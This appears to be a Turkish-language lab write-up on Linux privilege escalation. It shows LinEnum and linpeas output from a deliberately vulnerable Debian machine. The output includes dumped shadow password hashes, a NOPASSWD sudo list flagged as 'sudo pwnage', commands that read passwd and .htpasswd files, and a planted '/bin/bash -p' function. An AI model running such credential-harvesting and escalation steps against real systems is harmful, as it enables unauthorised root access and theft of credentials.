/var/log/dpkg.log.1:2017-05-12 07:02:34 status half-configured base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:34 status installed base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:34 status unpacked base-passwd 3.5.22
/var/log/dpkg.log.1:2017-05-12 07:02:35 configure passwd 1:4.1.4.2+svn3283-2+squeeze1 1:4.1.4.2+svn3283-2+squeeze1
/var/log/dpkg.log.1:2017-05-12 07:02:35 status half-configured passwd 1:4.1.4.2+svn3283-2+squeeze1
/var/log/dpkg.log.1:2017-05-12 07:02:35 status installed passwd 1:4.1.4.2+svn3283-2+squeeze1
/var/log/dpkg.log.1:2017-05-12 07:02:35 status unpacked passwd 1:4.1.4.2+svn3283-2+squeeze1
/var/log/installer/status:Description: Set up users and passwords
[+] Finding emails inside logs (limit 70)
62 /var/log/installer/status:[email protected]
2 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
1 /var/log/installer/status:[email protected]
[+] Finding password or credential files in home (limit 70)
[+] Finding ‘pwd’ or ‘passw’ variables inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/etc/exim4/conf.d/auth/30_exim4-config_examples:PASSWDLINE=${sg{\
/etc/exim4/conf.d/auth/30_exim4-config_examples: ^${sg{PASSWDLINE}{\N([^:]+:)(.)\N}{\$2}}” /etc/exim4/conf.d/auth/30_exim4-config_examples: ^${sg{PASSWDLINE}{\N([^:]+:)(.)\N}{\$2}}\
/etc/exim4/conf.d/auth/30_exim4-config_examples: ; ${sg{PASSWDLINE}{\N([^:]+:)(.)\N}{\$2}}” /etc/exim4/exim4.conf.template:PASSWDLINE=${sg{\ /etc/exim4/exim4.conf.template: ^${sg{PASSWDLINE}{\N([^:]+:)(.)\N}{\$2}}”
/etc/exim4/exim4.conf.template: ^${sg{PASSWDLINE}{\N([^:]+:)(.)\N}{\$2}}\ /etc/exim4/exim4.conf.template: ; ${sg{PASSWDLINE}{\N([^:]+:)(.)\N}{\$2}}”
/etc/nsswitch.conf:passwd: compat
/etc/pam.d/common-password:password [success=1 default=ignore] pam_unix.so obscure sha512
/etc/security/namespace.init: gid=$(echo “$passwd” | cut -f4 -d”:”)
/etc/security/namespace.init: homedir=$(echo “$passwd” | cut -f6 -d”:”)
/etc/security/namespace.init: passwd=$(getent passwd “$user”)
/etc/ssl/openssl.cnf:challengePassword = A challenge password
/etc/ssl/openssl.cnf:challengePassword_max = 20
/etc/ssl/openssl.cnf:challengePassword_min = 4
/home/user/tools/mysql-udf/raptor_udf2.c: * Enter password:
/home/user/tools/privesc-scripts/LinEnum.sh: echo -e “\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd”
/home/user/tools/privesc-scripts/LinEnum.sh: echo -e “\e[00;31m[-] Password and storage information:\e[00m\n$logindefs”
/home/user/tools/privesc-scripts/LinEnum.sh: echo -e “\e[00;33m[-] htpasswd found – could contain passwords:\e[00m\n$htpasswd”
/home/user/tools/privesc-scripts/LinEnum.sh:hashesinpasswd=grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null
/home/user/tools/privesc-scripts/LinEnum.sh:htpasswd=find / -name .htpasswd -print -exec cat {} \; 2>/dev/null
/home/user/tools/privesc-scripts/LinEnum.sh:readmasterpasswd=cat /etc/master.passwd 2>/dev/null
/home/user/tools/privesc-scripts/LinEnum.sh:readpasswd=cat /etc/passwd 2>/dev/null
/home/user/tools/privesc-scripts/linpeas.sh: echo ” You can login as $USER using password: $PASSWORDTRY” | sed “s,.,${C}[1;31;103m&${C}[0m,” /home/user/tools/privesc-scripts/linpeas.sh: FIND_PASSWORD_RELEVANT_NAMES=$(prep_to_find “$PASSWORD_RELEVANT_NAMES”) /home/user/tools/privesc-scripts/linpeas.sh: PASSWORD_RELEVANT_NAMES=”password* credential creds*”
/home/user/tools/privesc-scripts/linpeas.sh: PASSWORDTRY=$2
/home/user/tools/privesc-scripts/linpeas.sh: SHELLUSERS=cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1
/home/user/tools/privesc-scripts/lse.sh: cecho “${lblue} Password:${reset} “
/home/user/tools/privesc-scripts/lse.sh: ‘for u in $(cut -d: -f1 /etc/passwd); do [ $(id -u $u) = 0 ] && echo $u; done | grep -v root’
/home/user/tools/privesc-scripts/lse.sh: ‘for u in $(cut -d: -f 1 /etc/passwd); do [ “$u” != “$lse_user” ] && crontab -l -u “$u”; done’
/home/user/tools/privesc-scripts/lse.sh: ‘grep -E “(user|username|login|pass|password|pw|credentials)[=:]” /etc/fstab /etc/mtab’
/home/user/tools/privesc-scripts/lse.sh:[ -z “$lse_home” ] && lse_home=”(grep -E "^$lse_user:" /etc/passwd | cut -d: -f6)2>/dev/null
“
/var/backups/dpkg.status.0:Depends: libc6 (>= 2.3), libpopt0 (>= 1.15), libselinux1 (>= 1.32), cron | anacron | fcron, base-passwd (>= 2.0.3.4)
/var/backups/dpkg.status.0:Depends: passwd, libc6 (>= 2.3)
/var/backups/dpkg.status.0:Depends: perl-base (>= 5.6.0), passwd (>= 1:4.0.12), debconf | debconf-2.0
[+] Finding possible password variables inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/etc/exim4/conf.d/auth/30_exim4-config_examples: client_secret = ${extract{2}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}}
/etc/exim4/exim4.conf.template: client_secret = ${extract{2}{:}{${lookup{$host}nwildlsearch{CONFDIR/passwd.client}{$value}fail}}}
[+] Finding ‘username’ string inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/home/user/tools/privesc-scripts/lse.sh: ‘grep -E “(user|username|login|pass|password|pw|credentials)[=:]” /etc/fstab /etc/mtab’
[+] Looking for specific hashes inside files – less false positives (limit 70)
Her üç aracı da farklı seçeneklerle çalıştırarak denemeler yapın. Hepsi bu odada kullanılan teknikleri tanımlıyor mu? Gördüğümüz gibi LinPEAS çeşitli bölümlerde tartışılan güvenlik açıklarını bulabildi. Benzer şekilde diğer iki araç da sistem hakkındaki bilgileri listelemek için kullanılabilir. Cevap gerekmiyor
LinEnum İçinde çalıştıralım:
user@debian:~/tools/privesc-scripts$ ./LinEnum.sh
#
Local Linux Enumeration & Privilege Escalation Script
#
www.rebootuser.com
version 0.982
[-] Debug Info
[+] Thorough tests = Disabled
Scan started at:
Mon Aug 5 06:01:52 EDT 2024
SYSTEM
[-] Kernel information:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 GNU/Linux
[-] Kernel information (continued):
Linux version 2.6.32-5-amd64 (Debian 2.6.32-48squeeze6) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue May 13 16:34:35 UTC 2014
[-] Hostname:
debian
USER/GROUP
[-] Current user/group info:
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
[-] Users that have previously logged onto the system:
Username Port From Latest
root pts/0 192.168.1.2 Sun Aug 25 14:02:49 -0400 2019
user pts/0 ip-10-9-1-22.eu- Mon Aug 5 04:35:08 -0400 2024
[-] Who else is logged on:
06:01:52 up 1:28, 1 user, load average: 0.00, 0.04, 0.06
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user pts/0 ip-10-9-1-22.eu- 04:35 2.00s 0.06s 0.00s /bin/bash ./Lin
[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(libuuid) gid=101(libuuid) groups=101(libuuid)
uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
uid=102(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
uid=103(statd) gid=65534(nogroup) groups=65534(nogroup)
uid=104(mysql) gid=106(mysql) groups=106(mysql)
[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user,,,:/home/user:/bin/bash
statd:x:103:65534::/var/lib/nfs:/bin/false
mysql:x:104:106:MySQL Server,,,:/var/lib/mysql:/bin/false
[+] We can read the shadow file!
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
daemon::17298:0:99999:7::: bin::17298:0:99999:7:::
sys::17298:0:99999:7::: sync::17298:0:99999:7:::
games::17298:0:99999:7::: man::17298:0:99999:7:::
lp::17298:0:99999:7::: mail::17298:0:99999:7:::
news::17298:0:99999:7::: uucp::17298:0:99999:7:::
proxy::17298:0:99999:7::: www-data::17298:0:99999:7:::
backup::17298:0:99999:7::: list::17298:0:99999:7:::
irc::17298:0:99999:7::: gnats::17298:0:99999:7:::
nobody::17298:0:99999:7::: libuuid:!:17298:0:99999:7::: Debian-exim:!:17298:0:99999:7::: sshd::17298:0:99999:7:::
user:$6$M1tQjkeb$M1A/ArH4JeyF1zBJPLQ.TZQR1locUlz0wIZsoY6aDOZRFrYirKDW5IJy32FBGjwYpT2O1zrR2xTROv7wRIkF8.:17298:0:99999:7:::
statd:*:17299:0:99999:7:::
mysql:!:18133:0:99999:7:::
[-] Super user account(s):
root
[+] We can sudo without supplying a password!
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
[+] Possible sudo pwnage!
/usr/sbin/iftop
/usr/bin/find
/usr/bin/nano
/usr/bin/vim
/usr/bin/man
/usr/bin/awk
/usr/bin/less
/usr/bin/ftp
/usr/bin/nmap
/bin/more
[-] Are permissions on /home directories lax:
total 12K
drwxr-xr-x 3 root root 4.0K May 15 2017 .
drwxr-xr-x 22 root root 4.0K Aug 5 04:54 ..
drwxr-xr-x 7 user user 4.0K Aug 5 05:55 user
[-] Root is allowed to login via SSH:
PermitRootLogin yes
ENVIRONMENTAL
[-] Environment information:
SHELL=/bin/bash
TERM=xterm-256color
HISTSIZE=1000000
SSH_CLIENT=10.9.1.22 58048 22
SSH_TTY=/dev/pts/0
USER=user
HISTFILESIZE=1000000
MAIL=/var/mail/user
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/home/user/tools/privesc-scripts
LANG=en_US.UTF-8
HOME=/home/user
SHLVL=6
LOGNAME=user
SSH_CONNECTION=10.9.1.22 58048 10.10.211.45 22
/usr/sbin/service=() { /bin/bash -p
}
_=/usr/bin/env
[-] Path information:
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
drwxr-xr-x 2 root root 4096 Aug 25 2019 /bin
drwxr-xr-x 2 root root 20480 May 15 2020 /usr/bin
drwxr-xr-x 2 root root 4096 Jun 11 2014 /usr/games
drwxrwsr-x 2 root staff 4096 May 14 2017 /usr/local/bin
drwxrwsr-x 2 root staff 4096 May 12 2017 /usr/local/games
[-] Available shells:
/etc/shells: valid login shells
/bin/csh
/bin/sh
/usr/bin/es
/usr/bin/ksh
/bin/ksh
/usr/bin/rc
/usr/bin/tcsh
/bin/tcsh
/usr/bin/esh
/bin/dash
/bin/bash
/bin/rbash
[-] Current umask value:
0022
u=rwx,g=rx,o=rx
[-] umask value as specified in /etc/login.defs:
UMASK 022
[-] Password and storage information:
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_WARN_AGE 7
JOBS/TASKS
[-] Cron jobs:
-rw-r–r– 1 root root 804 May 13 2017 /etc/crontab
/etc/cron.d:
total 16
drwxr-xr-x 2 root root 4096 May 15 2020 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rw-r–r– 1 root root 607 Oct 17 2009 john
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
/etc/cron.daily:
total 72
drwxr-xr-x 2 root root 4096 May 13 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rwxr-xr-x 1 root root 633 Jul 28 2015 apache2
-rwxr-xr-x 1 root root 14799 Apr 15 2011 apt
-rwxr-xr-x 1 root root 314 Aug 10 2011 aptitude
-rwxr-xr-x 1 root root 502 Jun 17 2010 bsdmainutils
-rwxr-xr-x 1 root root 256 Jun 5 2014 dpkg
-rwxr-xr-x 1 root root 4109 Oct 25 2012 exim4-base
-rwxr-xr-x 1 root root 2211 Oct 26 2010 locate
-rwxr-xr-x 1 root root 89 Apr 17 2010 logrotate
-rwxr-xr-x 1 root root 1335 Jan 2 2011 man-db
-rwxr-xr-x 1 root root 249 Feb 15 2011 passwd
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
-rwxr-xr-x 1 root root 3594 Dec 18 2010 standard
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 May 12 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 May 12 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
/etc/cron.weekly:
total 16
drwxr-xr-x 2 root root 4096 May 12 2017 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rwxr-xr-x 1 root root 895 Jan 2 2011 man-db
-rw-r–r– 1 root root 102 Dec 18 2010 .placeholder
[-] Crontab contents:
/etc/crontab: system-wide crontab
Unlike any other crontab you don’t have to run the `crontab’
command to install the new version when you edit this file
and files in /etc/cron.d. These files also have username fields,
that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
m h dom mon dow user command
17 * * * * root cd / && run-parts –report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.monthly )
#
- * * * root overwrite.sh
- * * * root /usr/local/bin/compress.sh
NETWORKING
[-] Network and IP info:
eth0 Link encap:Ethernet HWaddr 02:40:fd:f8:69:c9
inet addr:10.10.211.45 Bcast:10.10.255.255 Mask:255.255.0.0
inet6 addr: fe80::40:fdff:fef8:69c9/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:9001 Metric:1
RX packets:2894 errors:0 dropped:0 overruns:0 frame:0
TX packets:1800 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211228 (206.2 KiB) TX bytes:1899393 (1.8 MiB)
Interrupt:20
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:104 errors:0 dropped:0 overruns:0 frame:0
TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:8756 (8.5 KiB) TX bytes:8756 (8.5 KiB)
[-] ARP history:
10.10.0.1 dev eth0 lladdr 02:c8:85:b5:5a:aa REACHABLE
[-] Nameserver(s):
nameserver 10.0.0.2
[-] Default route:
default via 10.10.0.1 dev eth0
[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:59128 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:51738 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:38043 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2049 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN –
tcp6 0 0 :::80 :::* LISTEN –
tcp6 0 0 :::22 :::* LISTEN –
[-] Listening UDP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 127.0.0.1:962 0.0.0.0:* –
udp 0 0 0.0.0.0:68 0.0.0.0:* –
udp 0 0 0.0.0.0:111 0.0.0.0:* –
udp 0 0 0.0.0.0:35185 0.0.0.0:* –
udp 0 0 0.0.0.0:2049 0.0.0.0:* –
udp 0 0 0.0.0.0:52099 0.0.0.0:* –
udp 0 0 0.0.0.0:52239 0.0.0.0:* –
SERVICES
[-] Running processes:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 8396 812 ? Ss 04:33 0:01 init [2]
root 2 0.0 0.0 0 0 ? S 04:33 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 04:33 0:00 [migration/0]
root 4 0.0 0.0 0 0 ? S 04:33 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S 04:33 0:00 [watchdog/0]
root 6 0.0 0.0 0 0 ? S 04:33 0:00 [events/0]
root 7 0.0 0.0 0 0 ? S 04:33 0:00 [cpuset]
root 8 0.0 0.0 0 0 ? S 04:33 0:00 [khelper]
root 9 0.0 0.0 0 0 ? S 04:33 0:00 [netns]
root 10 0.0 0.0 0 0 ? S 04:33 0:00 [async/mgr]
root 11 0.0 0.0 0 0 ? S 04:33 0:00 [pm]
root 12 0.0 0.0 0 0 ? S 04:33 0:00 [xenwatch]
root 13 0.0 0.0 0 0 ? S 04:33 0:00 [xenbus]
root 14 0.0 0.0 0 0 ? S 04:33 0:00 [sync_supers]
root 15 0.0 0.0 0 0 ? S 04:33 0:00 [bdi-default]
root 16 0.0 0.0 0 0 ? S 04:33 0:00 [kintegrityd/0]
root 17 0.0 0.0 0 0 ? S 04:33 0:00 [kblockd/0]
root 18 0.0 0.0 0 0 ? S 04:33 0:00 [kacpid]
root 19 0.0 0.0 0 0 ? S 04:33 0:00 [kacpi_notify]
root 20 0.0 0.0 0 0 ? S 04:33 0:00 [kacpi_hotplug]
root 21 0.0 0.0 0 0 ? S 04:33 0:00 [kseriod]
root 23 0.0 0.0 0 0 ? S 04:33 0:00 [kondemand/0]
root 24 0.0 0.0 0 0 ? S 04:33 0:00 [khungtaskd]
root 25 0.0 0.0 0 0 ? S 04:33 0:00 [kswapd0]
root 26 0.0 0.0 0 0 ? SN 04:33 0:00 [ksmd]
root 27 0.0 0.0 0 0 ? S 04:33 0:00 [aio/0]
root 28 0.0 0.0 0 0 ? S 04:33 0:00 [crypto/0]
root 147 0.0 0.0 0 0 ? S 04:33 0:00 [ata/0]
root 148 0.0 0.0 0 0 ? S 04:33 0:00 [ata_aux]
root 149 0.0 0.0 0 0 ? S 04:33 0:00 [scsi_eh_0]
root 150 0.0 0.0 0 0 ? S 04:33 0:00 [scsi_eh_1]
root 180 0.0 0.0 0 0 ? S 04:33 0:00 [kjournald]
root 254 0.0 0.0 16880 856 ? S<s 04:33 0:00 udevd –daemon
root 397 0.0 0.0 0 0 ? S 04:33 0:00 [kpsmoused]
root 398 0.0 0.0 0 0 ? S 04:33 0:00 [flush-202:0]
root 870 0.0 0.0 16876 748 ? S< 04:34 0:00 udevd –daemon
root 871 0.0 0.0 16876 688 ? S< 04:34 0:00 udevd –daemon
root 1148 0.0 0.0 6796 1024 ? Ss 04:34 0:00 dhclient -v -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
daemon 1178 0.0 0.0 8136 536 ? Ss 04:34 0:00 /sbin/portmap
statd 1210 0.0 0.0 14424 896 ? Ss 04:34 0:00 /sbin/rpc.statd
root 1213 0.0 0.0 0 0 ? S 04:34 0:00 [rpciod/0]
root 1215 0.0 0.0 0 0 ? S< 04:34 0:00 [kslowd000]
root 1216 0.0 0.0 0 0 ? S< 04:34 0:00 [kslowd001]
root 1217 0.0 0.0 0 0 ? S 04:34 0:00 [nfsiod]
root 1224 0.0 0.0 27064 588 ? Ss 04:34 0:00 /usr/sbin/rpc.idmapd
root 1476 0.0 0.1 54336 1680 ? Sl 04:34 0:00 /usr/sbin/rsyslogd -c4
root 1579 0.0 0.0 3960 640 ? Ss 04:34 0:00 /usr/sbin/acpid
root 1582 0.0 0.0 0 0 ? S 04:34 0:00 [lockd]
root 1583 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd4]
root 1584 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1585 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1586 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1587 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1588 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1589 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1590 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1591 0.0 0.0 0 0 ? S 04:34 0:00 [nfsd]
root 1603 0.0 0.0 14668 436 ? Ss 04:34 0:00 /usr/sbin/rpc.mountd –manage-gids
root 1645 0.0 0.2 71424 2892 ? Ss 04:34 0:00 /usr/sbin/apache2 -k start
www-data 1647 0.0 0.1 71156 1988 ? S 04:34 0:00 /usr/sbin/apache2 -k start
www-data 1653 0.0 0.2 294852 2628 ? Sl 04:34 0:00 /usr/sbin/apache2 -k start
www-data 1654 0.0 0.2 294852 2644 ? Sl 04:34 0:00 /usr/sbin/apache2 -k start
root 1779 0.0 0.1 22468 1068 ? Ss 04:34 0:00 /usr/sbin/cron
root 1805 0.0 0.1 49224 1168 ? Ss 04:34 0:00 /usr/sbin/sshd
root 1838 0.0 0.1 61864 1312 ? Ss 04:34 0:00 nginx: master process /usr/sbin/nginx
www-data 1840 0.0 0.1 62232 1828 ? S 04:34 0:00 nginx: worker process
www-data 1841 0.0 0.1 62232 1844 ? S 04:34 0:00 nginx: worker process
www-data 1842 0.0 0.1 62232 1844 ? S 04:34 0:00 nginx: worker process
www-data 1843 0.0 0.1 62232 1824 ? S 04:34 0:00 nginx: worker process
root 1845 0.0 0.1 9180 1396 ? S 04:34 0:00 /bin/sh /usr/bin/mysqld_safe
root 1970 0.0 2.3 163420 24128 ? Sl 04:34 0:01 /usr/sbin/mysqld –basedir=/usr –datadir=/var/lib/mysql –user=root –pid-file=/var/run/mysqld/mysqld.pid –socket=/var/run/mysqld/mysqld.sock –port=3306
root 1971 0.0 0.0 3896 644 ? S 04:34 0:00 logger -t mysqld -p daemon.error
101 2356 0.0 0.0 32724 1000 ? Ss 04:34 0:00 /usr/sbin/exim4 -bd -q30m
root 2403 0.0 0.0 5972 636 tty1 Ss+ 04:34 0:00 /sbin/getty 38400 tty1
root 2404 0.0 0.0 5972 636 tty2 Ss+ 04:34 0:00 /sbin/getty 38400 tty2
root 2405 0.0 0.0 5972 636 tty3 Ss+ 04:34 0:00 /sbin/getty 38400 tty3
root 2406 0.0 0.0 5972 632 tty4 Ss+ 04:34 0:00 /sbin/getty 38400 tty4
root 2407 0.0 0.0 5972 636 tty5 Ss+ 04:34 0:00 /sbin/getty 38400 tty5
root 2408 0.0 0.0 5972 636 tty6 Ss+ 04:34 0:00 /sbin/getty 38400 tty6
root 2428 0.0 0.3 70544 3296 ? Ss 04:35 0:00 sshd: user [priv]
user 2430 0.0 0.2 71492 2592 ? S 04:35 0:00 sshd: user@pts/0
user 2431 0.0 0.2 19276 2076 pts/0 Ss 04:35 0:00 -bash
root 2555 0.0 0.0 3756 372 pts/0 S 04:42 0:00 /usr/local/bin/suid-env
root 2556 0.0 0.0 3756 372 pts/0 S 04:42 0:00 service apache2 start
root 2557 0.0 0.2 19284 2084 pts/0 S 04:42 0:00 /bin/bash -p
root 2727 0.0 0.0 9920 1016 pts/0 T 04:47 0:00 less
user 2741 0.0 0.1 36924 1280 pts/0 S 04:48 0:00 su user
user 2742 0.0 0.2 19284 2084 pts/0 S 04:48 0:00 bash
root 2748 0.0 0.1 36924 1204 pts/0 T 04:48 0:00 su root
user 13831 0.0 0.1 11224 1944 pts/0 S+ 06:01 0:00 /bin/bash ./LinEnum.sh
user 13832 0.0 0.1 11248 1500 pts/0 S+ 06:01 0:00 /bin/bash ./LinEnum.sh
user 13833 0.0 0.0 5408 636 pts/0 S+ 06:01 0:00 tee -a
user 14058 0.0 0.1 11240 1204 pts/0 S+ 06:01 0:00 /bin/bash ./LinEnum.sh
user 14059 0.0 0.1 16380 1180 pts/0 R+ 06:01 0:00 ps aux
[-] Process binaries and associated permissions (from above list):
912K -rwxr-xr-x 1 root root 905K Apr 10 2010 /bin/bash
0 lrwxrwxrwx 1 root root 4 May 14 2017 /bin/sh -> bash
20K -rwxr-xr-x 2 root root 20K Jan 25 2011 /sbin/getty
24K -rwxr-xr-x 1 root root 21K Feb 24 2010 /sbin/portmap
72K -rwxr-xr-x 1 root root 65K Dec 13 2014 /sbin/rpc.statd
8.0K -rwsr-sr-x 1 root staff 6.8K May 14 2017 /usr/local/bin/suid-env
44K -rwxr-xr-x 1 root root 41K May 1 2012 /usr/sbin/acpid
0 lrwxrwxrwx 1 root root 33 May 13 2017 /usr/sbin/apache2 -> ../lib/apache2/mpm-worker/apache2
44K -rwxr-xr-x 1 root root 41K Dec 18 2010 /usr/sbin/cron
0 lrwxrwxrwx 1 root root 4 May 13 2017 /usr/sbin/exim4 -> exim
9.7M -rwxr-xr-x 1 root root 9.7M Oct 21 2014 /usr/sbin/mysqld
32K -rwxr-xr-x 1 root root 32K Dec 13 2014 /usr/sbin/rpc.idmapd
92K -rwxr-xr-x 1 root root 88K Dec 13 2014 /usr/sbin/rpc.mountd
328K -rwxr-xr-x 1 root root 321K Nov 30 2010 /usr/sbin/rsyslogd
472K -rwxr-xr-x 1 root root 465K Apr 2 2014 /usr/sbin/sshd
[-] /etc/init.d/ binary permissions:
total 300
drwxr-xr-x 2 root root 4096 Aug 25 2019 .
drwxr-xr-x 67 root root 4096 Aug 5 05:50 ..
-rwxr-xr-x 1 root root 2233 May 1 2012 acpid
-rwxr-xr-x 1 root root 7621 Jul 28 2015 apache2
-rwxr-xr-x 1 root root 2444 Mar 24 2012 bootlogd
-rwxr-xr-x 1 root root 1579 Mar 24 2012 bootlogs
-rwxr-xr-x 1 root root 1381 Mar 24 2012 bootmisc.sh
-rwxr-xr-x 1 root root 3978 Mar 24 2012 checkfs.sh
-rwxr-xr-x 1 root root 10822 Mar 24 2012 checkroot.sh
-rwxr-xr-x 1 root root 1279 Jun 26 2010 console-setup
-rwxr-xr-x 1 root root 3753 Dec 18 2010 cron
-rw-r–r– 1 root root 2067 Aug 25 2019 .depend.boot
-rw-r–r– 1 root root 693 Aug 25 2019 .depend.start
-rw-r–r– 1 root root 796 Aug 25 2019 .depend.stop
